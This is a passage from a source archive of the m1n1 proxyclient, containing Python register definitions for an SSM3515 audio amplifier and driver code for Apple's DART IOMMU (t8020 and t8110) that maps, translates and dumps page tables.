R_ASP_CH_CTRL # 32bit ASP_RX2_CTRL = 0x502c, R_ASP_CH_CTRL # 32bit ASP_TX1_CTRL = 0x5068, R_ASP_CH_CTRL ASP_TX2_CTRL = 0x506c, R_ASP_CH_CTRL m1n1-1.4.11/proxyclient/m1n1/hw/codecs/ssm3515.py000066400000000000000000000021321453754430200210630ustar00rootroot00000000000000from m1n1.utils import Register8, RegMap from enum import IntEnum class R_PWR(Register8): APWDN_EN = 7 BSNS_PWDN = 6 S_RST = 1 SPWDN = 0 class R_GEC(Register8): EDGE = 4 ANA_GAIN = 1, 0 class E_FS(IntEnum): FS_8_12 = 0b000 FS_16_24 = 0b001 FS_32_48 = 0b010 FS_64_96 = 0b011 FS_128_192 = 0b100 FS_48_72 = 0b101 class R_DAC(Register8): HV = 7 MUTE = 6 HPF = 5 LPM = 4 FS = 1, 0, E_FS class R_SAI1(Register8): DAC_POL = 7 BCLK_POL = 6 TDM_BCLKS = 5, 3 FSYNC_MODE = 2 SDATA_FMT = 1 SAI_MODE = 0 class R_SAI2(Register8): DATA_WIDTH = 7 AUTO_SLOT = 4 TDM_SLOT = 3, 0 class R_STATUS(Register8): UVLO_VREG = 6 LIM_EG = 5 CLIP = 4 AMP_OC = 3 OTF = 2 OTW = 1 BAT_WARN = 0 class SSM3515Regs(RegMap): PWR = 0x00, R_PWR GEC = 0x01, R_GEC DAC = 0x02, R_DAC DAC_VOL = 0x03, Register8 SAI1 = 0x04, R_SAI1 SAI2 = 0x05, R_SAI2 VBAT_OUT = 0x06, Register8 LIM1 = 0x07, Register8 LIM2 = 0x08, Register8 LIM3 = 0x09, Register8 STATUS = 0x0a, Register8 FAULT = 0x0b, Register8 m1n1-1.4.11/proxyclient/m1n1/hw/dart.py000066400000000000000000000056101453754430200174410ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from enum import IntEnum from ..utils import * from ..malloc import Heap from .dart8020 import DART8020, DART8020Regs from .dart8110 import DART8110, DART8110Regs __all__ = ["DART"] class DART(Reloadable): PAGE_BITS = 14 PAGE_SIZE = 1 << PAGE_BITS def __init__(self, iface, regs, util=None, compat="dart,t8020", iova_range=(0x80000000, 0x90000000)): self.iface = iface self.iova_allocator = [Heap(iova_range[0], iova_range[1], self.PAGE_SIZE) for i in range(16)] if compat in ["dart,t8020", "dart,t6000"]: self.dart = DART8020(iface, regs, util, compat) elif compat in ["dart,t8110"]: self.dart = DART8110(iface, regs, util) else: raise TypeError(compat) @classmethod def from_adt(cls, u, path, instance=0, **kwargs): dart_addr = u.adt[path].get_reg(instance)[0] compat = u.adt[path].compatible[0] if compat in ["dart,t8020", "dart,t6000"]: regs = DART8020Regs(u, dart_addr) elif compat in ["dart,t8110"]: regs = DART8110Regs(u, dart_addr) return cls(u.iface, regs, u, compat, **kwargs) def ioread(self, stream, base, size): if size == 0: return b"" ranges = self.iotranslate(stream, base, size) iova = base data = [] for addr, size in ranges: if addr is None: raise Exception(f"Unmapped page at iova {iova:#x}") data.append(self.iface.readmem(addr, size)) iova += size return b"".join(data) def iowrite(self, stream, base, data): if len(data) == 0: return ranges = self.iotranslate(stream, base, len(data)) iova = base p = 0 for addr, size in ranges: if addr is None: raise Exception(f"Unmapped page at iova {iova:#x}") self.iface.writemem(addr, data[p:p + size]) p += size iova += size def iomap(self, stream, addr, size): iova = self.iova_allocator[stream].malloc(size) self.iomap_at(stream, iova, addr, size) return iova def iomap_at(self, stream, iova, addr, size): self.dart.iomap_at(stream, iova, addr, size) def iotranslate(self, stream, start, size): return self.dart.iotranslate(stream, start, size) def initialize(self): self.dart.initialize() def show_error(self): self.dart.show_error() def invalidate_streams(self, streams=0xffffffff): self.dart.invalidate_streams(streams) def invalidate_cache(self): self.dart.invalidate_cache() def dump_device(self, idx): self.dart.dump_device(idx) def dump_all(self): for i in range(16): self.dump_device(i) def dump_params(self): self.dart.dump_params() m1n1-1.4.11/proxyclient/m1n1/hw/dart8020.py000066400000000000000000000270311453754430200177540ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from enum import IntEnum from ..utils import * from ..malloc import Heap __all__ = ["DART8020Regs", "DART8020"] class R_ERROR(Register32): FLAG = 31 STREAM = 27, 24 CODE = 23, 0 NO_DAPF_MATCH = 11 WRITE = 10 SUBPAGE_PROT = 7 PTE_READ_FAULT = 6 READ_FAULT = 4 WRITE_FAULT = 3 NO_PTE = 2 NO_PMD = 1 NO_TTBR = 0 class R_STREAM_COMMAND(Register32): INVALIDATE = 20 BUSY = 2 class R_TCR(Register32): BYPASS_DAPF = 12 BYPASS_DART = 8 TRANSLATE_ENABLE = 7 class R_TTBR(Register32): VALID = 31 ADDR = 30, 0 class R_REMAP(Register32): MAP3 = 31, 24 MAP2 = 23, 16 MAP1 = 15, 8 MAP0 = 7, 0 class PTE_T8020(Register64): SP_START = 63, 52 SP_END = 51, 40 OFFSET = 39, 14 SP_PROT_DIS = 1 VALID = 0 class PTE_T6000(Register64): SP_START = 63, 52 SP_END = 51, 40 OFFSET = 39, 10 SP_PROT_DIS = 1 VALID = 0 class R_CONFIG(Register32): LOCK = 15 class R_DAPF_LOCK(Register32): LOCK = 0 class DART8020Regs(RegMap): STREAM_COMMAND = 0x20, R_STREAM_COMMAND STREAM_SELECT = 0x34, Register32 ERROR = 0x40, R_ERROR ERROR_ADDR_LO = 0x50, Register32 ERROR_ADDR_HI = 0x54, Register32 CONFIG = 0x60, R_CONFIG REMAP = irange(0x80, 4, 4), R_REMAP DAPF_LOCK = 0xf0, R_DAPF_LOCK UNK1 = 0xf8, Register32 ENABLED_STREAMS = 0xfc, Register32 TCR = irange(0x100, 16, 4), R_TCR TTBR = (irange(0x200, 16, 16), range(0, 16, 4)), R_TTBR PTE_TYPES = { "dart,t8020": PTE_T8020, "dart,t6000": PTE_T6000, } class DART8020(Reloadable): PAGE_BITS = 14 PAGE_SIZE = 1 << PAGE_BITS L0_SIZE = 4 # TTBR count L0_OFF = 36 L1_OFF = 25 L2_OFF = 14 IDX_BITS = 11 Lx_SIZE = (1 << IDX_BITS) IDX_MASK = Lx_SIZE - 1 def __init__(self, iface, regs, util=None, compat="dart,t8020"): self.iface = iface self.regs = regs self.u = util self.pt_cache = {} self.enabled_streams = regs.ENABLED_STREAMS.val self.ptecls = PTE_TYPES[compat] @classmethod def from_adt(cls, u, path, instance=0, **kwargs): dart_addr = u.adt[path].get_reg(instance)[0] dart = cls(u.iface, dart_addr, u) dart.ptecls = PTE_TYPES[u.adt[path].compatible[0]] return dart def iomap_at(self, stream, iova, addr, size): if size == 0: return if not (self.enabled_streams & (1 << stream)): self.enabled_streams |= (1 << stream) self.regs.ENABLED_STREAMS.val |= self.enabled_streams tcr = self.regs.TCR[stream].reg if tcr.BYPASS_DART and not tcr.TRANSLATE_ENABLE: raise Exception("Stream is bypassed in DART") if tcr.BYPASS_DART or not tcr.TRANSLATE_ENABLE: raise Exception(f"Unknown DART mode {tcr}") if addr & (self.PAGE_SIZE - 1): raise Exception(f"Unaligned PA {addr:#x}") if iova & (self.PAGE_SIZE - 1): raise Exception(f"Unaligned IOVA {iova:#x}") start_page = align_down(iova, self.PAGE_SIZE) end = iova + size end_page = align_up(end, self.PAGE_SIZE) dirty = set() for page in range(start_page, end_page, self.PAGE_SIZE): paddr = addr + page - start_page l0 = page >> self.L0_OFF assert l0 < self.L0_SIZE ttbr = self.regs.TTBR[stream, l0].reg if not ttbr.VALID: l1addr = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.pt_cache[l1addr] = [0] * self.Lx_SIZE ttbr.VALID = 1 ttbr.ADDR = l1addr >> 12 self.regs.TTBR[stream, l0].reg = ttbr cached, l1 = self.get_pt(ttbr.ADDR << 12) l1idx = (page >> self.L1_OFF) & self.IDX_MASK l1pte = self.ptecls(l1[l1idx]) if not l1pte.VALID: l2addr = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.pt_cache[l2addr] = [0] * self.Lx_SIZE l1pte = self.ptecls( OFFSET=l2addr >> self.PAGE_BITS, VALID=1, SP_PROT_DIS=1) l1[l1idx] = l1pte.value dirty.add(ttbr.ADDR << 12) else: l2addr = l1pte.OFFSET << self.PAGE_BITS dirty.add(l1pte.OFFSET << self.PAGE_BITS) cached, l2 = self.get_pt(l2addr) l2idx = (page >> self.L2_OFF) & self.IDX_MASK self.pt_cache[l2addr][l2idx] = self.ptecls( SP_START=0, SP_END=0xfff, OFFSET=paddr >> self.PAGE_BITS, VALID=1, SP_PROT_DIS=1).value for page in dirty: self.flush_pt(page) def iotranslate(self, stream, start, size): if size == 0: return [] tcr = self.regs.TCR[stream].reg if tcr.BYPASS_DART and not tcr.TRANSLATE_ENABLE: return [(start, size)] if tcr.BYPASS_DART or not tcr.TRANSLATE_ENABLE: raise Exception(f"Unknown DART mode {tcr}") start = start & 0xffffffff start_page = align_down(start, self.PAGE_SIZE) start_off = start - start_page end = start + size end_page = align_up(end, self.PAGE_SIZE) end_size = end - (end_page - self.PAGE_SIZE) pages = [] for page in range(start_page, end_page, self.PAGE_SIZE): l0 = page >> self.L0_OFF assert l0 < self.L0_SIZE ttbr = self.regs.TTBR[stream, l0].reg if not ttbr.VALID: pages.append(None) continue cached, l1 = self.get_pt(ttbr.ADDR << 12) l1pte = self.ptecls(l1[(page >> self.L1_OFF) & self.IDX_MASK]) if not l1pte.VALID and cached: cached, l1 = self.get_pt(ttbr.ADDR << 12, uncached=True) l1pte = self.ptecls(l1[(page >> self.L1_OFF) & self.IDX_MASK]) if not l1pte.VALID: pages.append(None) continue cached, l2 = self.get_pt(l1pte.OFFSET << self.PAGE_BITS) l2pte = self.ptecls(l2[(page >> self.L2_OFF) & self.IDX_MASK]) if not l2pte.VALID and cached: cached, l2 = self.get_pt(l1pte.OFFSET << self.PAGE_BITS, uncached=True) l2pte = self.ptecls(l2[(page >> self.L2_OFF) & self.IDX_MASK]) if not l2pte.VALID: pages.append(None) continue pages.append(l2pte.OFFSET << self.PAGE_BITS) ranges = [] for page in pages: if not ranges: ranges.append((page, self.PAGE_SIZE)) continue laddr, lsize = ranges[-1] if ((page is None and laddr is None) or (page is not None and laddr == (page - lsize))): ranges[-1] = laddr, lsize + self.PAGE_SIZE else: ranges.append((page, self.PAGE_SIZE)) ranges[-1] = (ranges[-1][0], ranges[-1][1] - self.PAGE_SIZE + end_size) if start_off: ranges[0] = (ranges[0][0] + start_off if ranges[0][0] else None, ranges[0][1] - start_off) return ranges def get_pt(self, addr, uncached=False): cached = True if addr not in self.pt_cache or uncached: cached = False self.pt_cache[addr] = list( struct.unpack(f"<{self.Lx_SIZE}Q", self.iface.readmem(addr, self.PAGE_SIZE))) return cached, self.pt_cache[addr] def flush_pt(self, addr): assert addr in self.pt_cache self.iface.writemem(addr, struct.pack(f"<{self.Lx_SIZE}Q", *self.pt_cache[addr])) def initialize(self): for i in range(15): self.regs.TCR[i].reg = R_TCR(TRANSLATE_ENABLE=1) self.regs.TCR[15].reg = R_TCR(BYPASS_DART=1) for i in range(16): for j in range(4): self.regs.TTBR[i, j].reg = R_TTBR(VALID = 0) self.regs.ERROR.val = 0xffffffff self.regs.UNK1.val = 0 self.regs.ENABLED_STREAMS.val = 0 self.enabled_streams = 0 self.invalidate_streams() def show_error(self): if self.regs.ERROR.reg.FLAG: print(f"ERROR: {self.regs.ERROR.reg!s}") print(f"ADDR: {self.regs.ERROR_ADDR_HI.val:#x}:{self.regs.ERROR_ADDR_LO.val:#x}") self.regs.ERROR.val = 0xffffffff def invalidate_streams(self, streams=0xffffffff): self.regs.STREAM_SELECT.val = streams self.regs.STREAM_COMMAND.val = R_STREAM_COMMAND(INVALIDATE=1) while self.regs.STREAM_COMMAND.reg.BUSY: pass def invalidate_cache(self): self.pt_cache = {} def dump_table2(self, base, l1_addr): def print_block(base, pte, start, last): pgcount = last - start pte.OFFSET -= pgcount print(" page (%4d): %08x ... %08x -> %016x [%d%d]" % ( start, base + start*0x4000, base + (start+1)*0x4000, pte.OFFSET << self.PAGE_BITS, pte.SP_PROT_DIS, pte.VALID)) if start < last: print(" ==> (%4d): ... %08x -> %016x size: %08x" % ( last, base + (last+1)*0x4000, (pte.OFFSET + pgcount - 1) << self.PAGE_BITS, pgcount << self.PAGE_BITS)) cached, tbl = self.get_pt(l1_addr) unmapped = False start = 0 next_pte = self.ptecls(VALID=0) for i, pte in enumerate(tbl): pte = self.ptecls(pte) if not pte.VALID: if not unmapped: if next_pte.VALID: print_block(base, next_pte, start, i) print(" ...") unmapped = True next_pte = pte continue unmapped = False if int(pte) != int(next_pte): if next_pte.VALID: print_block(base, next_pte, start, i) start = i next_pte = pte next_pte.OFFSET += 1 if next_pte.VALID: print_block(base, next_pte, start, 2048) def dump_table(self, base, l1_addr): cached, tbl = self.get_pt(l1_addr) unmapped = False for i, pte in enumerate(tbl): pte = self.ptecls(pte) if not pte.VALID: if not unmapped: print(" ...") unmapped = True continue unmapped = False print(" table (%d): %08x ... %08x -> %016x [%d%d]" % ( i, base + i*0x2000000, base + (i+1)*0x2000000, pte.OFFSET << self.PAGE_BITS, pte.SP_PROT_DIS, pte.VALID)) self.dump_table2(base + i*0x2000000, pte.OFFSET << self.PAGE_BITS) def dump_ttbr(self, idx, ttbr): if not ttbr.VALID: return l1_addr = (ttbr.ADDR) << 12 print(" TTBR%d: %09x" % (idx, l1_addr)) self.dump_table(0, l1_addr) def dump_device(self, idx): tcr = self.regs.TCR[idx].reg ttbrs = self.regs.TTBR[idx, :] print(f"dev {idx:02x}: TCR={tcr!s} TTBRs = [{', '.join(map(str, ttbrs))}]") if tcr.TRANSLATE_ENABLE and tcr.BYPASS_DART: print(" mode: INVALID") elif tcr.TRANSLATE_ENABLE: print(" mode: TRANSLATE") for idx, ttbr in enumerate(ttbrs): self.dump_ttbr(idx, ttbr.reg) elif tcr.BYPASS_DART: print(" mode: BYPASS") else: print(" mode: UNKNOWN") def dump_params(self): pass m1n1-1.4.11/proxyclient/m1n1/hw/dart8110.py000066400000000000000000000447011453754430200177570ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from enum import IntEnum from ..utils import * from ..malloc import Heap __all__ = ["DART8110Regs", "DART8110"] class R_PARAMS_0(Register32): CLIENT_PARTITIONS_SUPPORTED = 29 LOG2_PGSZ = 27, 24 LOG2_TE_COUNT = 22, 20 TLB_SET_COUNT = 11, 0 class R_PARAMS_4(Register32): LOG2_NUM_WAYS = 30, 28 NUM_ASCS = 25, 24 NUM_W_PORTS = 22, 20 NUM_R_PORTS = 18, 16 NUM_APFS = 15, 8 SUPPORT_STT_PREFETCH = 6 SUPPORT_TLB_PREFETCH = 5 SUPPORT_CTC_PREFETCH = 4 SUPPORT_HW_FLUSH = 3 SUPPORT_TZ_TAGGER = 2 SUPPORT_REG_LOCK = 1 SUPPORT_FULL_BYPASS = 0 class R_PARAMS_8(Register32): PA_WIDTH = 29, 24 VA_WIDTH = 21, 16 VERS_MAJ = 15, 8 VERS_MIN = 7, 0 class R_PARAMS_C(Register32): NUM_CLIENTS = 24, 16 NUM_SIDS = 8, 0 class R_ERROR(Register32): FLAG = 31 SMMU = 30 REGION_PROTECT = 29 WRITE_nREAD = 28 SID = 27, 20 SECONDARY = 19 FILL_REGION = 18 BPF_REJECT = 14 EXTERNAL = 13 STT_FLUSH = 12 STT_MISMATCH = 11 APF_REJECT = 10 DROP_PROTECT = 9 CTRR_WRITE_PROTECT = 8 AXI_ERROR = 7 AXI_DECODE = 6 READ_FAULT = 5 WRITE_FAULT = 4 NO_PTE = 3 NO_PMD = 2 # "STE" NO_PGD = 1 # "CTE" NO_TTBR = 0 class R_TLB_OP(Register32): BUSY = 31 # None of these bits are supported on hwrev 1 HARDWARE_FLUSH = 30 FLUSH_VA_RANGE = 14 ENABLE_STT_FLUSH = 13 DISABLE_STC_FLUSH = 12 # 0 = flush all # 1 = flush SID # 2 = TLB read # 3 = TLB write???? # 4 = flush unlock, definitely not supported on hwrev 1 OP = 10, 8 STREAM = 7, 0 class R_TLB_OP_IDX(Register32): SET = 13, 8 WAY = 6, 4 TE = 2, 0 class R_PROTECT(Register32): LOCK_TZ_SELECT = 4 LOCK_TZ_CONFIG = 3 # This bit can be set, but unknown what it protects _BIT2 = 2 LOCK_REG_4xx = 1 LOCK_TCR_TTBR = 0 class R_DIAG_LOCK(Register32): # FIXME: how does this work exactly? LOCK_ON_ERR = 1 LOCK = 0 class R_TCR(Register32): REMAP = 11, 8 REMAP_EN = 7 FOUR_LEVELS = 3 # not supported on hwrev 1 BYPASS_DAPF = 2 BYPASS_DART = 1 TRANSLATE_ENABLE = 0 class R_TTBR(Register32): ADDR = 29, 2 VALID = 0 class PTE(Register64): SP_START = 63, 52 SP_END = 51, 40 OFFSET = 37, 10 RDPROT = 3 WRPROT = 2 UNCACHABLE = 1 VALID = 0 class DART8110Regs(RegMap): PARAMS_0 = 0x000, R_PARAMS_0 PARAMS_4 = 0x004, R_PARAMS_4 PARAMS_8 = 0x008, R_PARAMS_8 PARAMS_C = 0x00C, R_PARAMS_C # Unknown RO REG_0x10 = 0x010, Register32 REG_0x14 = 0x014, Register32 # hwrev 2 only TLB_OP = 0x080, R_TLB_OP TLP_OP_IDX = 0x084, R_TLB_OP_IDX TLB_TAG_LO = 0x088, Register32 TLB_TAG_HI = 0x08c, Register32 # hwrev 2 only TLB_PA_LO = 0x090, Register32 TLB_PA_HI = 0x094, Register32 TLB_START_DVA_PAGE = 0x098, Register32 # hwrev 2 only TLB_END_DVA_PAGE = 0x0a0, Register32 # hwrev 2 only ERROR = 0x100, R_ERROR ERROR_DISABLE = 0x104, R_ERROR # Found via register bruteforcing STREAM_UNK_SET = irange(0x120, 8, 4), Register32 STREAM_UNK_CLR = irange(0x140, 8, 4), Register32 # these are all accessed by error interrupt handler REG_0x160 = 0x160, Register32 REG_0x164 = 0x164, Register32 ERROR_ADDR_LO = 0x170, Register32 ERROR_ADDR_HI = 0x174, Register32 REG_0x178 = 0x178, Register32 # hwrev 2 only REG_0x180 = irange(0x180, 4, 4), Register32 REG_0x1a0 = irange(0x1a0, 8, 4), Register32 ERR_SECONDARY = irange(0x1c0, 8, 4), Register32 # Write bits to _PROTECT to protect them. # They can be unprotected by writing to _UNPROTECT unless _LOCK is written. # If _LOCK is written, protection can be enabled but not disabled. REG_PROTECT = 0x200, R_PROTECT REG_UNPROTECT = 0x204, R_PROTECT REG_PROTECT_LOCK = 0x208, R_PROTECT # Tunables touch this, can set bits FF00001F, RW REG_0x20c = 0x20c, Register32 DIAG_LOCK = 0x210, R_DIAG_LOCK # All unknown, related to transaction queueing??? # can set bits 3FFFFFFC, RW REG_0x218 = 0x218, Register32 # Tunables touch this, can set bits 000F0F0F, RW REG_0x220 = 0x220, Register32 # Tunables touch this, can set bits 00FFFFFF, RW REG_0x224 = 0x224, Register32 # can set bits 3F3F3F3F TLIMIT = 0x228, Register32 # can set bits 07070707 TEQRESERVE = 0x22c, Register32 # RO, outstanding transaction count??? TRANS = irange(0x230, 4, 4), Register32 # hwrev 2 only for all of these REG_0x300 = 0x300, Register32 REG_0x308 = 0x308, Register32 REG_0x310 = 0x310, Register32 REG_0x318 = 0x318, Register32 REG_0x320 = 0x320, Register32 REG_0x328 = 0x328, Register32 REG_0x330 = 0x330, Register32 REG_0x338 = 0x338, Register32 REG_0x340 = 0x340, Register32 REG_0x348 = 0x348, Register32 REG_0x350 = 0x350, Register32 REG_0x358 = 0x358, Register32 # Unknown REG_0x400 = 0x400, Register32 # can set 00000003 REG_0x404 = 0x404, Register32 # can set 001FFFFF REG_0x408 = 0x408, Register32 # can set 00FFFFFC REG_0x410 = 0x410, Register32 # can set 3FFFFFFC # These registers exist even though it's "not supported" TZ_CONFIG = 0x500, Register32 # 3 bits TZ_SELECT = 0x504, Register32 # 1 bit TZ_REGION0_START = 0x508, Register32 TZ_REGION0_END = 0x510, Register32 TZ_REGION0_OFFSET = 0x518, Register32 TZ_REGION1_START = 0x520, Register32 TZ_REGION1_END = 0x528, Register32 TZ_REGION1_OFFSET = 0x530, Register32 TZ_REGION2_START = 0x538, Register32 TZ_REGION2_END = 0x540, Register32 TZ_REGION2_OFFSET = 0x548, Register32 # completely guessed, unverified, can set bits 0F077077 PERF_INTR_ENABLE = 0x700, Register32 PERF_INTR_STATUS = 0x704, Register32 PERF_UNK1 = irange(0x720, 8, 4), Register32 PERF_UNK2 = irange(0x740, 8, 4), Register32 PERF_TLB_MISS = 0x760, Register32 PERF_TLB_FILL = 0x764, Register32 PERF_TLB_HIT = 0x768, Register32 PERF_ST_MISS = 0x770, Register32 PERF_ST_FILL = 0x774, Register32 PERF_ST_HIT = 0x778, Register32 # hwrev 1 doesn't have these PERF_CTC_MISS = 0x780, Register32 PERF_CTC_FILL = 0x784, Register32 PERF_CTC_HIT = 0x788, Register32 UNK_TUNABLES = irange(0x800, 256, 4), Register32 ENABLE_STREAMS = irange(0xc00, 8, 4), Register32 DISABLE_STREAMS = irange(0xc20, 8, 4), Register32 TCR = irange(0x1000, 256, 4), R_TCR TTBR = irange(0x1400, 256, 4), R_TTBR class DART8110(Reloadable): PAGE_BITS = 14 PAGE_SIZE = 1 << PAGE_BITS L0_OFF = 36 L1_OFF = 25 L2_OFF = 14 IDX_BITS = 11 Lx_SIZE = (1 << IDX_BITS) IDX_MASK = Lx_SIZE - 1 def __init__(self, iface, regs, util=None): self.iface = iface self.regs = regs self.u = util self.pt_cache = {} enabled_streams = 0 for i in range(8): enabled_streams |= regs.ENABLE_STREAMS[i].val << 32*i self.enabled_streams = enabled_streams @classmethod def from_adt(cls, u, path, instance=0, **kwargs): dart_addr = u.adt[path].get_reg(instance)[0] regs = DART8110Regs(u, dart_addr) dart = cls(u.iface, regs, u, **kwargs) return dart def iomap_at(self, stream, iova, addr, size): if size == 0: return if not (self.enabled_streams & (1 << stream)): self.enabled_streams |= (1 << stream) self.regs.ENABLE_STREAMS[stream // 32].val |= (1 << (stream % 32)) tcr = self.regs.TCR[stream].reg if tcr.BYPASS_DART and not tcr.TRANSLATE_ENABLE: raise Exception("Stream is bypassed in DART") if tcr.BYPASS_DART or not tcr.TRANSLATE_ENABLE: raise Exception(f"Unknown DART mode {tcr}") if addr & (self.PAGE_SIZE - 1): raise Exception(f"Unaligned PA {addr:#x}") if iova & (self.PAGE_SIZE - 1): raise Exception(f"Unaligned IOVA {iova:#x}") start_page = align_down(iova, self.PAGE_SIZE) end = iova + size end_page = align_up(end, self.PAGE_SIZE) dirty = set() for page in range(start_page, end_page, self.PAGE_SIZE): paddr = addr + page - start_page ttbr = self.regs.TTBR[stream].reg if not ttbr.VALID: l1addr = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.pt_cache[l1addr] = [0] * self.Lx_SIZE ttbr.VALID = 1 ttbr.ADDR = l1addr >> self.PAGE_BITS self.regs.TTBR[stream].reg = ttbr if tcr.FOUR_LEVELS: cached, l0 = self.get_pt(ttbr.ADDR << self.PAGE_BITS) l0idx = (page >> self.L0_OFF) & self.IDX_MASK l0pte = PTE(l0[l0idx]) if not l0pte.VALID: l1addr = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.pt_cache[l1addr] = [0] * self.Lx_SIZE l0pte = PTE( OFFSET=l1addr >> self.PAGE_BITS, VALID=1) l0[l0idx] = l0pte.value dirty.add(ttbr.ADDR << self.PAGE_BITS) else: l2addr = l1pte.OFFSET << self.PAGE_BITS l1page = l0pte.OFFSET else: l1page = ttbr.ADDR cached, l1 = self.get_pt(l1page << self.PAGE_BITS) l1idx = (page >> self.L1_OFF) & self.IDX_MASK l1pte = PTE(l1[l1idx]) if not l1pte.VALID: l2addr = self.u.memalign(self.PAGE_SIZE, self.PAGE_SIZE) self.pt_cache[l2addr] = [0] * self.Lx_SIZE l1pte = PTE( OFFSET=l2addr >> self.PAGE_BITS, VALID=1) l1[l1idx] = l1pte.value dirty.add(l1page << self.PAGE_BITS) else: l2addr = l1pte.OFFSET << self.PAGE_BITS dirty.add(l1pte.OFFSET << self.PAGE_BITS) cached, l2 = self.get_pt(l2addr) l2idx = (page >> self.L2_OFF) & self.IDX_MASK self.pt_cache[l2addr][l2idx] = PTE( SP_START=0, SP_END=0xfff, OFFSET=paddr >> self.PAGE_BITS, VALID=1).value for page in dirty: self.flush_pt(page) def iotranslate(self, stream, start, size): if size == 0: return [] tcr = self.regs.TCR[stream].reg if tcr.BYPASS_DART and not tcr.TRANSLATE_ENABLE: # FIXME this may not be correct return [(start, size)] if tcr.BYPASS_DART or not tcr.TRANSLATE_ENABLE: raise Exception(f"Unknown DART mode {tcr}") if tcr.FOUR_LEVELS: start = start & 0xfff_ffff_ffff else: start = start & 0xfffffffff start_page = align_down(start, self.PAGE_SIZE) start_off = start - start_page end = start + size end_page = align_up(end, self.PAGE_SIZE) end_size = end - (end_page - self.PAGE_SIZE) pages = [] for page in range(start_page, end_page, self.PAGE_SIZE): ttbr = self.regs.TTBR[stream].reg if not ttbr.VALID: pages.append(None) continue if tcr.FOUR_LEVELS: cached, l0 = self.get_pt(ttbr.ADDR << self.PAGE_BITS) l0pte = PTE(l0[(page >> self.L0_OFF) & self.IDX_MASK]) if not l0pte.VALID and cached: cached, l0 = self.get_pt(ttbr.ADDR << self.PAGE_BITS, uncached=True) l0pte = PTE(l0[(page >> self.L0_OFF) & self.IDX_MASK]) if not l0pte.VALID: pages.append(None) continue l1page = l0pte.OFFSET else: l1page = ttbr.ADDR cached, l1 = self.get_pt(l1page << self.PAGE_BITS) l1pte = PTE(l1[(page >> self.L1_OFF) & self.IDX_MASK]) if not l1pte.VALID and cached: cached, l1 = self.get_pt(l1page << self.PAGE_BITS, uncached=True) l1pte = PTE(l1[(page >> self.L1_OFF) & self.IDX_MASK]) if not l1pte.VALID: pages.append(None) continue cached, l2 = self.get_pt(l1pte.OFFSET << self.PAGE_BITS) l2pte = PTE(l2[(page >> self.L2_OFF) & self.IDX_MASK]) if not l2pte.VALID and cached: cached, l2 = self.get_pt(l1pte.OFFSET << self.PAGE_BITS, uncached=True) l2pte = PTE(l2[(page >> self.L2_OFF) & self.IDX_MASK]) if not l2pte.VALID: pages.append(None) continue pages.append(l2pte.OFFSET << self.PAGE_BITS) ranges = [] for page in pages: if not ranges: ranges.append((page, self.PAGE_SIZE)) continue laddr, lsize = ranges[-1] if ((page is None and laddr is None) or (page is not None and laddr == (page - lsize))): ranges[-1] = laddr, lsize + self.PAGE_SIZE else: ranges.append((page, self.PAGE_SIZE)) ranges[-1] = (ranges[-1][0], ranges[-1][1] - self.PAGE_SIZE + end_size) if start_off: ranges[0] = (ranges[0][0] + start_off if ranges[0][0] else None, ranges[0][1] - start_off) return ranges def get_pt(self, addr, uncached=False): cached = True if addr not in self.pt_cache or uncached: cached = False self.pt_cache[addr] = list( struct.unpack(f"<{self.Lx_SIZE}Q", self.iface.readmem(addr, self.PAGE_SIZE))) return cached, self.pt_cache[addr] def flush_pt(self, addr): assert addr in self.pt_cache self.iface.writemem(addr, struct.pack(f"<{self.Lx_SIZE}Q", *self.pt_cache[addr])) def initialize(self): for i in range(15): self.regs.TCR[i].reg = R_TCR(TRANSLATE_ENABLE=1) self.regs.TCR[15].reg = R_TCR(BYPASS_DART=1) for i in range(16): self.regs.TTBR[i].reg = R_TTBR(VALID = 0) # self.regs.ERROR.val = 0xffffffff # self.regs.UNK1.val = 0 self.regs.DISABLE_STREAMS[0].val = 0xffff self.enabled_streams = 0 self.invalidate_streams() def show_error(self): if self.regs.ERROR.reg.FLAG: print(f"ERROR: {self.regs.ERROR.reg!s}") print(f"ADDR: {self.regs.ERROR_ADDR_HI.val:#x}:{self.regs.ERROR_ADDR_LO.val:#x}") self.regs.ERROR.val = 0x80000004 def invalidate_streams(self, streams=0xffff): for sid in range(256): if streams & (1 << sid): self.regs.TLB_OP.val = R_TLB_OP(STREAM=sid, OP=1) while self.regs.TLB_OP.reg.BUSY: pass def invalidate_cache(self): self.pt_cache = {} def dump_table2(self, base, l1_addr, indent=""): def print_block(base, pte, start, last): pgcount = last - start pte.OFFSET -= pgcount print(indent + " page (%4d): %09x ... %09x -> %016x [%d%d%d%d]" % ( start, base + start*0x4000, base + (start+1)*0x4000, pte.OFFSET << self.PAGE_BITS, pte.RDPROT, pte.WRPROT, pte.UNCACHABLE, pte.VALID)) if start < last: print(indent + " ==> (%4d): ... %09x -> %016x size: %08x" % ( last, base + (last+1)*0x4000, (pte.OFFSET + pgcount - 1) << self.PAGE_BITS, pgcount << self.PAGE_BITS)) cached, tbl = self.get_pt(l1_addr) unmapped = False start = 0 next_pte = PTE(VALID=0) for i, pte in enumerate(tbl): pte = PTE(pte) if not pte.VALID: if not unmapped: if next_pte.VALID: print_block(base, next_pte, start, i) print(indent + " ...") unmapped = True next_pte = pte continue unmapped = False if int(pte) != int(next_pte): if next_pte.VALID: print_block(base, next_pte, start, i) start = i next_pte = pte next_pte.OFFSET += 1 if next_pte.VALID: print_block(base, next_pte, start, 2048) def dump_table(self, base, l1_addr, indent="", four_levels=False): cached, tbl = self.get_pt(l1_addr) unmapped = False for i, pte in enumerate(tbl): pte = PTE(pte) if not pte.VALID: if not unmapped: print(" ...") unmapped = True continue unmapped = False if four_levels: off = self.L0_OFF else: off = self.L1_OFF print(indent + " table (%d): %09x ... %09x -> %016x [%d%d%d%d]" % ( i, base + (i << off), base + ((i+1) << off), pte.OFFSET << self.PAGE_BITS, pte.RDPROT, pte.WRPROT, pte.UNCACHABLE, pte.VALID)) if four_levels: self.dump_table(base + (i << off), pte.OFFSET << self.PAGE_BITS, indent=indent+" ") else: self.dump_table2(base + (i << off), pte.OFFSET << self.PAGE_BITS) def dump_ttbr(self, ttbr, four_levels=False): if not ttbr.VALID: return l1_addr = (ttbr.ADDR) << 